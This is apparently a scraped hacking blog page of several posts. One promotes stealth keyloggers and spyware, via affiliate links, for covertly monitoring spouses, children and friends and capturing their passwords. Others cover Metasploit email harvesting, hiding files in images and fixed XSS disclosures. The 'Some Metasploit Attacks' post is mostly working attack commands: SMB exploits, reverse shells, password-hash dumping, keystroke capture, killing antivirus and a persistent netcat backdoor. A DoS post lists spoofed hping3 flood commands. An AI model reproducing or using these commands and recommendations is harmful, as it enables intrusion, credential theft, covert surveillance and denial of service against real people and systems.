KNOX D3

Which spyware keylogger software to choose?

<div dir="ltr" style="text-align: left;" trbidi="on"><div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="Photobucket" border="0" height="159" src="http://i654.photobucket.com/albums/uu264/rbsoulhunter17/monitor_pc.jpg" width="200" /></div></div>I continue the series of providing you with information of best spware keylogger softwares availible online.In this post i will tell you about all the best spyware products availible for various purposes.Today there exists many of spyware keylogger softwares because a lot of people want to monitor the activities of their children, spouse, friends etc.Most of people try to find thier crack version or serial key and end them self in infecting their PC  with Viruses.Most of people are confused with selection b/w Spyware keylogger software,so today the Title of my post is "Which spyware keylogger software to choose?" <a name="more"></a> What exactly is a Monitoring Software and how can it help me ? A computer monitoring software is just like any other software (program) which when installed, secretly monitors each and every activity that takes place on the computer. The activities such as web browsing, chatting, gaming etc. are all recorded and saved. These monitoring softwares can record each and every keystroke. So it is possible to capture usernames and passwords very easily with minimum effort. Monitoring softwares are also commonly known as Keyloggers. How can i install a spyware keylogger software?   Installing a spyware keylogger software is very simple,even a person with basic knowledge of computer can use and monitor each and every activity that takes place on the computer.You need to setup a secret password and hotkey combination which is required later to see the recorded data ( logs). After the installation is complete the software goes invisible,once the software gets installed it will sent you recorded data(logs) and screen shots of the activities that takes place on your computer. <h1>Which spyware keylogger software to choose?</h1> There exists different flavours of these softwares and you have to choose the one that best match your needs. Here is a list of some of the best monitoring programs that I recommend. For monitoring your own PC: If you want to monitor your own PC you can i recommend the following spyware software: Spyagent: <a href="http://www.plimus.com/jsp/redirect.jsp?contractId=1630851&referrer=rafay112">Spytech SpyAgent</a> is our award winning, powerful computer spy software that allows you to monitor EVERYTHING users do on your computer - in total stealth. SpyAgent provides a large array of essential computer monitoring features <a href="https://www.plimus.com/jsp/buynow.jsp?contractId=1630851&referrer=rafay112">Click here to goto official website of spyagent</a> Keystroke spy: <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqZbPty43rfcrCulK6GC2b6HL8OzcPK9Jki1ZyyHMMRD9mmf6M3CQyNxSocF8u9rZEQ3WZhlpCB9Hmp81VNUlbMssvsdOWWR5aadfCViIkTVeNYFQ-RYwe5HB8ywkfNEAHlepg6FXTHAQ/s1600/keystrokespy-mbox-small.jpg" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqZbPty43rfcrCulK6GC2b6HL8OzcPK9Jki1ZyyHMMRD9mmf6M3CQyNxSocF8u9rZEQ3WZhlpCB9Hmp81VNUlbMssvsdOWWR5aadfCViIkTVeNYFQ-RYwe5HB8ywkfNEAHlepg6FXTHAQ/s320/keystrokespy-mbox-small.jpg" style="cursor: move;" /></a><a href="http://www.plimus.com/jsp/redirect.jsp?contractId=1688163&referrer=rafay112" style="color: #3d85c6;">Keystroke Spy</a> is a powerful tool that can log every keystroke users type and capture screenshots of their activities. Keystroke Spy can run in total stealth, email you when specific keywords are typed, and can even be set to only log keystrokes typed in specific applications. With Keystroke Spy you will be able to log websites users visit, emails they send, passwords they use, applications they interact with, typed documents, and see everything they did with visual screenshot playback! <div style="color: red;"> </div><div style="color: #3d85c6;"><a href="http://www.plimus.com/jsp/buynow.jsp?contractId=1688163&referrer=rafay112">Click here to go to official website of Keystorke spy</a> </div> For monitoring a Remote PC: If you want to monitor a Remote PC then the following softwares are Recommended: Sniperspy:   <a href="https://www.plimus.com/jsp/buynow.jsp?contractId=2160696&referrer=rafay112" linkindex="112" style="color: #3d85c6;">SniperSpy</a> is the industry leading <a href="http://rafayhackingarticles.blogspot.com/2010/01/remote-password-hacking-software.html" linkindex="113" style="color: #3d85c6;" title="remote password hacking software">Remote password hacking software</a> combined with the Remote Install and Remote Viewing feature. <div id="TixyyLink" style="background-color: transparent; border: medium none; color: #3d85c6; overflow: hidden; text-align: left; text-decoration: none;"><a href="http://rafayhackingarticles.blogspot.com/2010/01/remote-password-hacking-software_07.html"> Click here for complete review on sniperspy</a></div><div id="TixyyLink" style="background-color: transparent; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;"> </div><div id="TixyyLink" style="background-color: transparent; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">Winspy:</div><div id="TixyyLink" style="background-color: transparent; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">Another alternative to sniperspy is winspy.<a href="http://hop.clickbank.net/?rafay112/bccomp" linkindex="48" title="Remote password hacking software">Win Spy Software</a> is a Complete Stealth Monitoring Software and <a href="http://hop.clickbank.net/?rafay112/bccomp" linkindex="49" title="remote hacking software">remote password hacking software</a> that can both monitor your Local PC and Remote PC. </div><div id="TixyyLink" style="background-color: transparent; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;"></div><div id="TixyyLink" style="background-color: transparent; border: medium none; color: #3d85c6; overflow: hidden; text-align: left; text-decoration: none;"><a href="http://rafayhackingarticles.blogspot.com/2009/12/hacking-myspace-account.html">Click here for complete installation guide for winspy</a></div><div id="TixyyLink" style="background-color: transparent; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;"></div><div id="TixyyLink" style="background-color: transparent; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;"><div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXFLNurNQ0PYwYOydGDrnl2_dvRYfF6ayFap9c0dSZmNP3g18aQZp5ZXrVPPjLWpJ7cbgjglq2D24-LCxNyO76qV76XNmP2HQ9-fH3tzMk7lz6IsdhYqmqBg4P8U08bjihz9ic2NL_kgk/s320/realtimespy-mbox-small.jpg" />  </div>Realtime spy:<a href="http://www.plimus.com/jsp/redirect.jsp?contractId=1630951&referrer=rafay112" style="color: #3d85c6;">Realtime-Spy</a> is a remote spy software solution that requires no physical installation, and is the first product to allow you to truly view activity logs from any location at any time! <a href="http://rafayhackingarticles.blogspot.com/2010/07/hack-computer-remotely-using-realtime.html">Click here for a comple installation guide on Realtime spy</a> </div><div id="TixyyLink" style="background-color: transparent; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;"> For Monitoring a Network:  IF you want to monitor an entire network then the following software is very useful Netvizor: <a href="http://www.plimus.com/jsp/redirect.jsp?contractId=1634237&referrer=rafay112" style="color: #3d85c6;">NetVizor</a> is network monitoring software that invisibly monitors your entire network from one central location! Track workstations and users that may use multiple PC's on your network. Deploy NetVizor from one location and record everything users do, including screenshots, keystrokes typed, program and internet usage, emails and chats, file/document usage, and much more. Generate detailed activity reports in seconds, view your entire network in real-time, and receive instant behavior alerts when unwanted activities occur. This software becomes handy if you want to monitor an entire network including your offices,school etc. You can test this product by downloding its <a href="http://www.plimus.com/jsp/download_trial.jsp?contractId=1634237&referrer=rafay112" style="color: #3d85c6;">trial version. </a> You can find Netvizor installation guide <a href="http://www.netvizor.net/install-guide/index.shtml" style="color: #3d85c6;">here</a> <div style="color: #3d85c6;"><a href="https://www.plimus.com/jsp/buynow.jsp?contractId=1634237&referrer=rafay112"> Click here to place an order for netvizor</a></div> For Monitoring a Mac OS: I get lots of question regarding Spyware keylogger that,Do they on Mac OS the answer is know,the above softwares wont wok on Mac os,For Mac OS Rafayhackingarticles recommends the following software <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKa8UDVLD_UQhpeJlWiTQqC1NHTQjr6kxZcqcaARCpe0SXSz0j5MpsgcdW00nt0Us9zH5bhu_WSWxdu3OUoJlPxSq8fCveGe8H2Ow355Xr39ewilMw4FfjkiHNHuqVsR0LifjHgjEBQWQ/s1600/mac-keylogger-box.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKa8UDVLD_UQhpeJlWiTQqC1NHTQjr6kxZcqcaARCpe0SXSz0j5MpsgcdW00nt0Us9zH5bhu_WSWxdu3OUoJlPxSq8fCveGe8H2Ow355Xr39ewilMw4FfjkiHNHuqVsR0LifjHgjEBQWQ/s200/mac-keylogger-box.jpg" width="133" /></a>Aobo Mac OS X Keylogger for Mac: <a href="https://www.plimus.com/jsp/redirect.jsp?contractId=2385070&referrer=rafay112" style="color: #3d85c6;">Abobo Mac</a> OS x is The only Keylogger for Mac OS X which can Record Passwords Aobo Mac OS X Keylogger for Mac OS X is the best <a href="https://www.plimus.com/jsp/redirect.jsp?contractId=2385070&referrer=rafay112" style="color: #3d85c6;">Mac keylogger</a> on the market with remote monitoring support. It supports stealth keystroke recording, screenshots capturing and sending the logs by email or FTP in a real time. <div style="color: #3d85c6;"><a href="http://www.blogger.com/goog_1267598903307">Click </a><a href="http://rafayhackingarticles.blogspot.com/2010/03/remote-spying-software-for-mac.html">here to read a review on Abobo Mac OS</a></div> For monitoring a Cellphone from your PC:   If you want monitor a cellphone from your PC than the following software is recommended: Spy Phone Gold This is the best mobile phone monitoring software of all time, It has a great feature to record Live Calls <div style="color: #3d85c6;"><a href="http://rafayhackingarticles.blogspot.com/2010/04/how-to-monitor-cellphone.html">Click here to read the complete review of Spy Phone Gold</a></div> Mobile spy: Mobile spy is a Software to monitor a Cellphone. <div style="color: #3d85c6;"><a href="http://rafayhackingarticles.blogspot.com/2010/01/cellfone-hack-how-to-hack-cellfone.html">Click here for complete review for Mobile spy</a></div> Hope you liked my collection of spyware keylogger softwares, if you need any help regarding any of these softwares, feel free to ask me </div></div>

Which spyware keylogger software to choose?

I continue the series of providing you with information of best spware keylogger softwares availible online.In this post i will tell you abo...

+ Read more »

How to Find Email-Address of the domain using metasploit?

<div dir="ltr" style="text-align: left;" trbidi="on"> <div align="LEFT">First open your terminal & Type following command</div><div align="LEFT" style="margin-bottom: 0in;">msfconsole</div><div align="LEFT" style="margin-bottom: 0in;">use auxiliary/gather/search_email_collector show options</div><div align="LEFT"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjghr-MqebviLc_XTkjV0Bn7gRjfx9LFiVtycC-2fq6MdVLokt7fzq39tNt4PVWBy6Rab_QNJbl7bE3xidRNnEQWt2ykiXja8F_L-EhBfrK5uqULX3xBCprqyO7zScnF53cpXBLgyjwnJ2z/s1600/Screenshot1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img alt="metasploit-email-harvest" border="0" height="243" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjghr-MqebviLc_XTkjV0Bn7gRjfx9LFiVtycC-2fq6MdVLokt7fzq39tNt4PVWBy6Rab_QNJbl7bE3xidRNnEQWt2ykiXja8F_L-EhBfrK5uqULX3xBCprqyO7zScnF53cpXBLgyjwnJ2z/s320/Screenshot1.jpg" title="metasploit-email-harvest" width="320" /></a></div></div> 	 	 	 <div align="LEFT">The next step you need to set up the domain you want to locate the email address.</div><div align="LEFT" style="margin-bottom: 0in;">When we finished setup the domain, the default searching engine that will be use for this searching are Google, Bing, and Yahoo.</div><div align="LEFT" style="margin-bottom: 0in;">Now next step is type</div><div align="LEFT" style="margin-bottom: 0in;">set domain “name of domain” (without quote) & press enter.</div><div align="LEFT" style="margin-bottom: 0in;">& type run and press enter.</div><div align="LEFT" style="margin-bottom: 0in;">It will search email address of domain in google,yahoo & bing.</div><div align="LEFT"> </div></div>

How to Find Email-Address of the domain using metasploit?

First open your terminal & Type following command msfconsole use auxiliary/gather/search_email_collector show options The next s...

+ Read more »

How to hide secret file in image?

<div dir="ltr" style="text-align: left;" trbidi="on"> <div align="LEFT" style="margin-bottom: 0in;"> How to hide secret file in image?</div><div align="LEFT" style="margin-bottom: 0in;"> </div><div align="LEFT" style="margin-bottom: 0in;">Hello friends. Today we learn about other tricks of steganography. In past we learn about how to hide text in notepad. Now we learn about how to hide confidential file in image?</div><div align="LEFT" style="margin-bottom: 0in;"> </div><div align="LEFT" style="margin-bottom: 0in;">Requirement</div><div align="LEFT" style="margin-bottom: 0in;">Command prompt.</div><div align="LEFT" style="margin-bottom: 0in;"> </div><div align="LEFT" style="margin-bottom: 0in;">Before begin, I have one secret file named : secret.pdf, I do not want other people know about this file and also a picture named : apple.jpg. All of that files I put on my personal folder named pictures.</div><div align="LEFT" style="margin-bottom: 0in;"> </div><ol><li><div align="LEFT" style="margin-bottom: 0in;">open command prompt.</div></li><li><div align="LEFT" style="margin-bottom: 0in;">Now change directory to picture folder through command prompt.</div></li><li><div align="LEFT" style="margin-bottom: 0in;">Now compress your secret file(secret.pdf) using winrar.</div></li><li><div align="LEFT" style="margin-bottom: 0in;">Next we use command prompt. type following code</div><div align="LEFT" style="margin-bottom: 0in;">copy /b [image_filename].jpg + [rar_filename].rar nkd.jpg</div><div align="LEFT" style="margin-bottom: 0in;">for our example code becomes</div><div align="LEFT" style="margin-bottom: 0in;">copy /b apple.jpg + secret.rar nkd.jpg</div><div align="LEFT" style="margin-bottom: 0in;">here nkd.jpg is our newfile which contain hidden document.</div></li><li><div align="LEFT" style="margin-bottom: 0in;">Go your picture folder , you can see nkd.jpg.</div></li><li><div align="LEFT" style="margin-bottom: 0in;">Now to view original file ,nothing too do just open file with winrar or you can also change extention from jpg to rar.</div></li></ol></div>

How to hide secret file in image?

How to hide secret file in image? Hello friends. Today we learn about other tricks of steganography. In past we learn about how to hide text...

+ Read more »

StumbleUpon Fixes The XSS Vulnerability

<div dir="ltr" style="text-align: left;" trbidi="on">                                                <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBq0lMgWnYQ0qissnFN4t9EgO-Cb11l7qnTDc5Vg-cS4WN0DW46zLLRqicpQD99KKwQnB4fK7TQEcScU9pqoOy8gd-5MRsC8gt9PvMr6a0xSyi07qg0cSA0fzcbZG6Rnhj2NfR5SAmbPI/s1600/xss-threat3.jpg" imageanchor="1" style="background-color: white; border: none; color: #666666; font-family: Verdana; font-size: 12px; line-height: 19.200000762939453px; margin-left: 1em; margin-right: 1em; text-align: center; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBq0lMgWnYQ0qissnFN4t9EgO-Cb11l7qnTDc5Vg-cS4WN0DW46zLLRqicpQD99KKwQnB4fK7TQEcScU9pqoOy8gd-5MRsC8gt9PvMr6a0xSyi07qg0cSA0fzcbZG6Rnhj2NfR5SAmbPI/s1600/xss-threat3.jpg" style="border-width: 0px; padding: 10px;" /></a> About a week before i reported an <a href="http://www.rafayhackingarticles.net/2012/10/stumbleupon-xss-vulnerability.html" target="_blank">XSS vulnerability inside stumbleupon</a>, I promised to disclose the vulnerability details once it gets fixed, Recently i received an email from stumbleUpon. They told that they have fixed the XSS vulnerability and they would like me to test it again if it's still vulnerable to the Cross site Scritping (XSS) attack. I tested the parameter and did not find any potential XSS inside it. Here is the email i received from stumbleUpon: <a name="more"></a> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHUB_ifmUSXTSkJtxMG3gD57y3CMlF7CZFqn1O6CzWi43Y2IsU2C8dVfnkP5XsNJPd9IzNk7xVTlc43umj3FXHyzBd92wpNXh_QFT_4HsfGeMqpr_fant4KCO9bMKJSnFPj4_5n6bBLa4/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHUB_ifmUSXTSkJtxMG3gD57y3CMlF7CZFqn1O6CzWi43Y2IsU2C8dVfnkP5XsNJPd9IzNk7xVTlc43umj3FXHyzBd92wpNXh_QFT_4HsfGeMqpr_fant4KCO9bMKJSnFPj4_5n6bBLa4/s640/Untitled.png" width="640" /></a></div> Vulnerability parameter: http://stumbleupon.com/hostedbadge.php?s=1&r=XSS The above parameter was vulnerable to a reflected cross site scripting attack, however now it's fixed and i don't see the issue any more. </div>

StumbleUpon Fixes The XSS Vulnerability

About a week before i reported an XSS vulnerability inside stumbleupon , I promised to discl...

+ Read more »

Yandex Bug Bounty Program - Is It Worth The Time?

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBfE5GZ0p6auDjnPPJSDsSC5HiPcTGZwkH2GaIc5rKVWJelcXUj-yctvZUhxlG5KgBT3Nps8-tRVknYEUzVL9OV3bSnmw_8rfqeCT7FUdby2ZvTKy0VcVJxgELOPauxZ-PNOaLfeAWpzs/s1600/bugs.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBfE5GZ0p6auDjnPPJSDsSC5HiPcTGZwkH2GaIc5rKVWJelcXUj-yctvZUhxlG5KgBT3Nps8-tRVknYEUzVL9OV3bSnmw_8rfqeCT7FUdby2ZvTKy0VcVJxgELOPauxZ-PNOaLfeAWpzs/s1600/bugs.jpg" /></a></div><div class="separator" style="clear: both; text-align: center;"> </div><a href="http://company.yandex.com/security/" rel="nofollow" target="_blank">Yandex</a> also has a <a href="http://www.rafayhackingarticles.net/2012/08/make-money-by-reporting-bugs-and.html" target="_blank">bug bounty program</a> which pays a reasonable amount to security researchers who find security vulnerabilities inside their website, Recently i found multiple XSS vulnerabilities in a subdomain of yandex, The company accepted it as a vulnerability, but unfortunately i did not qualify for a bounty as the vulnerability was already reported by some one else. <a name="more"></a>Here is the email by yandex security team: <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja-YTaLoEyVamR64P5uUTujiWcK9u71kDYaICKR2Ko9qH5PGkuMQkqUwv1YVCwIu8ma4iq5Pqc1j7qj65zQmmvh_dNFpwK9LsTMDemPkUBV5l6npfhH4q-bfCl47JgN7xcDT3EUB1kbJU/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja-YTaLoEyVamR64P5uUTujiWcK9u71kDYaICKR2Ko9qH5PGkuMQkqUwv1YVCwIu8ma4iq5Pqc1j7qj65zQmmvh_dNFpwK9LsTMDemPkUBV5l6npfhH4q-bfCl47JgN7xcDT3EUB1kbJU/s640/Untitled.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: left;">The above is an email by Yandex security team and according to them the vulnerability was reported before. However, speaking from my experience i haven't seen any researcher getting payed for reporting a vulnerability inside yandex.</div><div class="separator" style="clear: both; text-align: left;"> </div><div class="separator" style="clear: both; text-align: left;">Here are some tweets from some security experts, who have Participated in yandex bug bounty program and in most of the cases they are unable to reporduce the bug and in some cases they did not accept HTML injection and XSS as a security vulnerabilities:</div><div class="separator" style="clear: both; text-align: left;"> </div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-jltFP2LePQ35i7hIZZRbWWEFDec2XTeVAci4p1pUilOQCoyG148KpFV4raZc2ldtPfsod6j-8XZSccACc90fTjgmJPdCVbZxdmdjrsoO-COcumUPQOE3SxbOgXpfvhvwskWXGW2cnXI/s1600/yandex+2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-jltFP2LePQ35i7hIZZRbWWEFDec2XTeVAci4p1pUilOQCoyG148KpFV4raZc2ldtPfsod6j-8XZSccACc90fTjgmJPdCVbZxdmdjrsoO-COcumUPQOE3SxbOgXpfvhvwskWXGW2cnXI/s1600/yandex+2.png" /></a></div> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwjnHTJom-HcqehvZtlqTC2_zVJiN6mLs1RXAwmtkSRxVokmqRoE2D0bAc6TtAJT9Zyef1PIgNkS32nBUP9wa_GiHNfNKScOLJE9f5TMYS8Y30Uqvet5_GffMfcQvV8CRswisLIcr4Rn4/s1600/yandex+3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwjnHTJom-HcqehvZtlqTC2_zVJiN6mLs1RXAwmtkSRxVokmqRoE2D0bAc6TtAJT9Zyef1PIgNkS32nBUP9wa_GiHNfNKScOLJE9f5TMYS8Y30Uqvet5_GffMfcQvV8CRswisLIcr4Rn4/s1600/yandex+3.png" /></a></div> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnQf4P8tdHV-FFkSwJb0Rf4F-rT6BZ2uk92B6xQZaxMcKjsjvrAGYxIrTLfl3kkzvwAc-7iFAFb8AB26CK7lwbUHdFbSWuWf_rKw41o-GiCWifabRAG291DGiEJUlZ_UvbCNEgBmMT6aU/s1600/yandex+4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnQf4P8tdHV-FFkSwJb0Rf4F-rT6BZ2uk92B6xQZaxMcKjsjvrAGYxIrTLfl3kkzvwAc-7iFAFb8AB26CK7lwbUHdFbSWuWf_rKw41o-GiCWifabRAG291DGiEJUlZ_UvbCNEgBmMT6aU/s1600/yandex+4.png" /></a></div> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiKArZXEZYZLGvYo0uMYgIw3qb-byjJSnowZ10YA3JpUEGwb6xjipb70iR4mq54ev5Dw7mRlDIsnFi5eOaFJ5LhSQWZI32Q4PGF1egB90oKhYrwoM2LMOuVvKJLJ_A4YALScp-QBeAFrQ/s1600/yandex.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiKArZXEZYZLGvYo0uMYgIw3qb-byjJSnowZ10YA3JpUEGwb6xjipb70iR4mq54ev5Dw7mRlDIsnFi5eOaFJ5LhSQWZI32Q4PGF1egB90oKhYrwoM2LMOuVvKJLJ_A4YALScp-QBeAFrQ/s1600/yandex.png" /></a></div><div class="separator" style="clear: both; text-align: left;"> </div><div class="separator" style="clear: both; text-align: left;"> </div><div class="separator" style="clear: both; text-align: left;">Is yandex bounty program worth the time?, Decide for yourself. </div><div class="separator" style="clear: both; text-align: left;"> </div><div class="separator" style="clear: both; text-align: left;">You might also like:<a href="http://www.rafayhackingarticles.net/2012/08/make-money-by-reporting-bugs-and.html" target="_blank"> Make Money Online By Reporting Bug Bounties </a></div> </div>

Yandex Bug Bounty Program - Is It Worth The Time?

Yandex also has a bug bounty program which pays a reasonable amount to security researchers who find security vulnerabilities inside their...

+ Read more »

Some Metasploit Attacks

<div dir="ltr" style="text-align: left;" trbidi="on"> <div align="LEFT"> today i will show you Some metasploit attacks.</div><div align="LEFT" style="margin-bottom: 0in;">Requirement:-</div><div align="LEFT" style="margin-bottom: 0in;">Backtrack.</div><div align="LEFT" style="margin-bottom: 0in;">Metasploit.</div><div align="LEFT" style="margin-bottom: 0in;"> </div><div align="LEFT" style="margin-bottom: 0in;">These are just some commands ,there are lots of options in metasploit. Acoording to vulnarability you can use it.</div><div align="LEFT" style="margin-bottom: 0in;"> </div><div align="LEFT" style="margin-bottom: 0in;">Attack 1: Hacking Windows XP with Metasploit tutorial - VNC remote control use windows/smb/ms08_067_netapi show optios set RHOST 192.168.1.1 ----->IP target set payload windows/vncinject/bind_tcp exploit</div><div align="LEFT" style="margin-bottom: 0in;"></div><a name="more"></a> Attack 2.Metasploit vs Windows 7 and AVG use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOT 192.168.0.1 ----->IP Attacker set LPORT 5555 exploit ps migrate 1880 cd c:\ ls download program-7.exe /root run killav shell Attack 3. Hacking By Metasploit . Windows xp Sp3  use windows/smb/ms08_067_netapi set LHOST 192.168.1.1 --->ip attacker set RHOST 192.168.1.1 ----->ip target set payload windows/meterpreter/reverse_tcp exploit Attack 4: Hacking win7 with metasploit nmap -sS -v -PN 192.168.1-255 use exploit/multi/handler set LHOST 192.168.1.1 ------>ip attacker set LPORT 5555 set payload windows/meterpreter/reverse_tcp show optios set EndOnSession false show optios set RHOST 192. ------>ip target set RPORT 4321 show options exploit Attack 5: Exploit vulnerability in Windows 7 sudo nmap 192.168.1.1 ------>445/tcp_open microsoft-ds use auxiliary/dos/windows/smb/smb2_negotiate_pidhigh set RHOST 192.168.1.1 -----------ip target set RPORT 445 run ----run the exploit Attack 6: Metasploit backdooring msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 X >backdoor.exe root@kislay# cd /tmp use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.1 --->Listener's IP (Attacker) show options exploit ? getuid use priv hashdump keyscan_start keyscan_dump sysinfo msg * ------->msg displayed on the screen Attack 7: ms10 025 metasploit exploitation nmap -O 192.168.1.7-----see the target operating system search ms10 use exploit windows/mmsp/ms10_25_wmss_connect_funnel set payload windows/shell_bind_tcp show options set RHOST 192.168.1.7 --ip target exploit Attack 8: IEPeers: ms10_08_ie_behaviors Exploit search iepeers use windows/browser/ms10_018_ie_behaviors set PAYLOAD windows/exec show options set SRVHOST 192.168.1.1 set URIPATH / set CMD calc.exe set target 1 info ---->Available targets ;1 IE 6 spo-sp2 (onclick) exploit using url: http://192.168.1.1:8080/ open the browser mozilla or whatever browser used type: http://192.168.1.1:8080/ ---enter wait a few moments... Attack 9: metasploit rpc_dum nmap -sS 192.168... 135/TCP open use msrpc_dcom_ms03_026 set payload win32_reverse_meterpreter show options set RHOST 192.168.1.1 ---->ip target set LHOST 192.168.0.1 ----->ip attacker exploit help use -m process execute -f cmd.exe -c interact 1 c:\winnt\system32\>dir Attack 10: Uploading A Backdoor Metasploit Netcat meterpreter> upload netcat.exe c:\\WINDOWS\\SYSTEM32\\ meterpreter> reg enumkey -k HKLM\\software\\Microsoft\\Windows\\CureentVersion\\Run meterpreter> reg setval -k HKLM\\software\\Microsoft\\Windows\\CureentVersion\\Run -v windows live -d "c:\\WINDOWS\\SYSTEM32\\netcat.exe -L -d -p 5555 -e cmd.exe meterpreter> reg enumkey -k HKLM\\software\\Microsoft\\Windows\\CureentVersion\\Run meterpreter> reboot bt~# nc 192.168.1.1 5555 Attack 11: BackTrack 4 R1 Metasploit 3 & SET, Hacking Windows 7 cd /pentest/exploits/SET ./set Enter you choice: 4 enter the ip addres : 192.168.1.1 enter chose ( hit enter for default): 2 enter chose ( hit enter for default):16 set port 4444 open Konqueror /pentest/exploits/SET/ media/sda3 ---------->msf.exe cd /pentest/exploits/SET# cd .. <div align="LEFT" style="margin-bottom: 0in;">/pentest/exploits# cd framework3 ./msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.. set lport 4444 exploit use priv help excecute -f cmd ipconfig shell screenhot excecute -f explorer Attack 12:ms067 + netcat backdoor use windows/smb/ms08_067_netapi set payload windows/meterpreter/reverse_tcp set RHOST set LHOST exploit upload /root/nc.exe c:\\WINDOWS\\SYSTEM32\\</div></div>

Some Metasploit Attacks

today i will show you Some metasploit attacks. Requirement:- Backtrack. Metasploit. These are just some commands ,there are lots of options ...

+ Read more »

DOS attack from linux using hping3.

<div dir="ltr" style="text-align: left;" trbidi="on">I am here to explain the DoS attacks (with practicals). You all know about DoS attack, Denial-of-Service Attacks. In this attack, attacker denies the user to use a particular service. You can have many tools for DoS attacks, but I'm gonna teach you a simple method for stress testing on the service. We need Hping3 (It is available in linux only but you can use hping2 in windows but i can't assure you that it will work for this practical).<a href="http://www.hping.org/download.php">Download Hping2/3 here</a> . <div align="LEFT" style="margin-bottom: 0in;"> </div><div align="LEFT" style="margin-bottom: 0in;"> </div><div align="LEFT" style="margin-bottom: 0in;">Ok so let's bring down some services.</div><div align="LEFT" style="margin-bottom: 0in;"></div><a name="more"></a> Open the console and go to the path of hping3 and give the following command. hping3 --rand-source –S –L 0 –p <target port> <target IP>Here we are sending SYN packets (set value by replacing 0) with a random source. hping3 --rand-source –SA –p <open port> <target IP>Here we are sending SYN + ACK packets from a random source. hping3 --rand-source -–udp <target IP> --floodFlooding the target IP with UDP packets. hping3 --rand-source –SAFRU –L 0 –M 0 –p <port> <target> --floodIn this command, we are sending SYN+ACK+FIN+RST+URG packets with TCP ack (-L) and TCP seq (-M). Change the values after -L and -M. hping3 --icmp --spoof <target address> <broadcast address> --floodFlooding with ICMP packets by spoofed IP (--spoof). Once you download the hping, open your console and type "hping3 --help" for more options.</div>

DOS attack from linux using hping3.

I am here to explain the DoS attacks (with practicals). You all know about DoS attack, Denial-of-Service Attacks. In this attack, attacker d...

+ Read more »